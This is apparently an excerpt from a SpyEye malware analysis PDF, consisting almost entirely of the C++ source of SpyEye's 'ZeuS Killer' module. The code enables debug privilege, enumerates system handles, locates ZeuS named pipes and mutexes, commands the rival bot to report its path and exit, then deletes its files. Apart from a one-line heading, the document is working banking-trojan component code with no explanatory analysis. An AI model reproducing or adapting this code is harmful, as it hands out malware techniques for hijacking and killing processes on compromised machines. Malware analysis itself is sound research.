spyeye-analysis-ii-en.pdf
ZeuS Killer code
This is the C++ source code for the Zeus Killer
#include
#pragma warning(disable : 4005) // macro redefinition
#include
#pragma warning(default : 4005)
#include
#include
void GetZeusInfo(ULONG dwArg, PCHAR lpOut, DWORD dwOutLn, PCHAR lpMutex, DWORD dwMutexLn)
{
PSYSTEM_HANDLE_INFORMATION shi = 0;
NTSTATUS Status = 0;
ULONG len = 0x2000;
POBJECT_NAME_INFORMATION obn = 0;
HANDLE proc = 0, thandle = 0, hFile = 0;
BOOLEAN enable = FALSE;
UCHAR name[300] = {0};
ULONG temp = 0, rw = 0;
do
{
shi = (PSYSTEM_HANDLE_INFORMATION)malloc(len);
if (shi == 0)
{
return;
}
Status = NtQuerySystemInformation(SystemHandleInformation, shi, len, NULL);
if (Status == STATUS_INFO_LENGTH_MISMATCH)
{
free(shi);
len *= 2;
}
else
if (NT_ERROR(Status))
{
free(shi);
return;
}
} while (Status == STATUS_INFO_LENGTH_MISMATCH);
RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, 1, 0, &enable);
for (int i=0; i<(int)shi->uCount; i++)
{
proc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, shi->aSH[i].uIdProcess);
if (proc == 0)
{
continue;
}
Status = NtDuplicateObject(proc, (HANDLE)shi->aSH[i].Handle, NtCurrentProcess(),
&thandle, 0, 0, DUPLICATE_SAME_ACCESS);
if (NT_ERROR(Status))
{
NtClose(proc);
continue;
}
Status = NtQueryObject(thandle, ObjectNameInformation, 0, 0, &len);
if (Status != STATUS_INFO_LENGTH_MISMATCH || len == 0)
{
NtClose(thandle);
NtClose(proc);
continue;
}
obn = (POBJECT_NAME_INFORMATION)malloc(len);
if (obn == 0)
{
NtClose(thandle);
NtClose(proc);
continue;
}
Status = NtQueryObject(thandle, ObjectNameInformation, obn, len, &len);
if (NT_ERROR(Status) || obn->Name.Buffer == 0)
{
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
RtlZeroMemory(name, sizeof(name));
WideCharToMultiByte(CP_ACP, 0, obn->Name.Buffer, obn->Name.Length >> 1,
(LPSTR)name, 300, NULL, NULL);
if (strstr((LPSTR)name, "__SYSTEM__") || strstr((LPSTR)name, "_AVIRA_"))
{
lstrcpyW((LPWSTR)name, L"\\\\.\\pipe\\");
lstrcatW((LPWSTR)name, obn->Name.Buffer);
__retry:
hFile = CreateFileW((LPWSTR)name, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
WaitNamedPipeW((LPWSTR)name, INFINITE);
hFile = CreateFileW((LPWSTR)name,
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
WCHAR wszBNO[] = { L"\\BaseNamedObjects\\" };
if (LPWSTR wszBNOPos = StrStrW((LPWSTR)name, wszBNO))
{
lstrcpyW((LPWSTR)name, L"\\\\.\\pipe\\");
lstrcatW((LPWSTR)name,
(LPWSTR)((PBYTE)wszBNOPos + (sizeof(wszBNO) - 1 * sizeof(WCHAR))));
goto __retry;
}
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
}
temp = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(hFile, &temp, 0, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = dwArg;
if (!WriteFile(hFile, &temp, 4, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = 0;
if (!WriteFile(hFile, &temp, 4, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = 0;
if (!WriteFile(hFile, &temp, 0, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = 0;
if (!ReadFile(hFile, &temp, 4, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
temp = 0;
if (!ReadFile(hFile, &temp, 4, &rw, 0))
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
if (temp > MAX_PATH)
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
rw = temp;
temp = (ULONG)malloc(temp);
if (!temp)
{
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
if (!ReadFile(hFile, (PVOID)temp, rw, &rw, 0))
{
free((PVOID)temp);
CloseHandle(hFile);
free(obn);
NtClose(thandle);
NtClose(proc);
continue;
}
if ( (temp) && lstrlenW((LPCWSTR)temp) < (int)dwOutLn) {
RtlZeroMemory(lpOut, dwOutLn);
WideCharToMultiByte(CP_ACP, 0, (PWCHAR)temp,
lstrlenW((LPCWSTR)temp), (LPSTR)lpOut, dwOutLn, NULL, NULL);
}
if (lpMutex) {
LPWSTR lpwMutexName = obn->Name.Buffer;
LPWSTR lpwTemp;
while (lpwTemp = StrStrW(lpwMutexName, L"\\")) {
lpwMutexName = lpwTemp + 1;
}
RtlZeroMemory(lpMutex, dwMutexLn);
WideCharToMultiByte(CP_ACP, 0, lpwMutexName,
lstrlenW(lpwMutexName), (LPSTR)lpMutex, dwMutexLn, NULL, NULL);
}
free((PVOID)temp);
CloseHandle(hFile);
}
free(obn);
NtClose(thandle);
NtClose(proc);
}
}
BOOL DeleteHiddenFile(PCHAR szPath)
{
SetFileAttributes(szPath, FILE_ATTRIBUTE_ARCHIVE);
return DeleteFile(szPath);
}
#define ZEUS_FASTCLEAN
BOOL KillZeus()
{
// Getting info
CHAR szMutexName[MAX_PATH] = {0};
CHAR szZeusPath[MAX_PATH];
GetZeusInfo(11, szZeusPath, sizeof szZeusPath, szMutexName, sizeof szMutexName);
if (!strlen(szMutexName)) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : ERROR : Cannot get szMutexName");
#endif
return FALSE;
}
#ifndef ZEUS_FASTCLEAN
CHAR szZeusConfig[MAX_PATH];
GetZeusInfo(12, szZeusConfig, sizeof szZeusConfig, NULL, NULL);
CHAR szZeusLog[MAX_PATH];
GetZeusInfo(13, szZeusLog, sizeof szZeusLog, NULL, NULL);
#endif
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : INFO : 0.) Mutex \"%s\"", szMutexName);
OutputDebugStringEx(__FUNCTION__" : INFO : 1.) Path \"%s\"", szZeusPath);
#ifndef ZEUS_FASTCLEAN
OutputDebugStringEx(__FUNCTION__" : INFO : 2.) Config \"%s\"", szZeusConfig);
OutputDebugStringEx(__FUNCTION__" : INFO : 3.) Log \"%s\"", szZeusLog);
#endif
#endif
// Killing
GetZeusInfo(3, NULL, NULL, NULL, NULL);
// Waiting
HANDLE hMutex;
for (INT i = 0; i < 10; i++) {
hMutex =
OpenMutex(MUTANT_QUERY_STATE|SYNCHRONIZE|STANDARD_RIGHTS_REQUIRED, FALSE,
szMutexName);
if (!hMutex)
break;
CloseHandle(hMutex);
Sleep(1000);
}
if (hMutex) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : ERROR : hMutex is still active");
#endif
return FALSE;
}
// Deleting files
if (!DeleteHiddenFile(szZeusPath)) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",
szZeusPath);
#endif
}
#ifndef ZEUS_FASTCLEAN
if (!DeleteHiddenFile(szZeusConfig)) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",
szZeusConfig);
#endif
}
if (!DeleteHiddenFile(szZeusLog)) {
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",
szZeusLog);
#endif
}
#endif
#ifdef _DEBUGLITE
OutputDebugStringEx(__FUNCTION__" : INFO : EXIT");
#endif
return TRUE;
}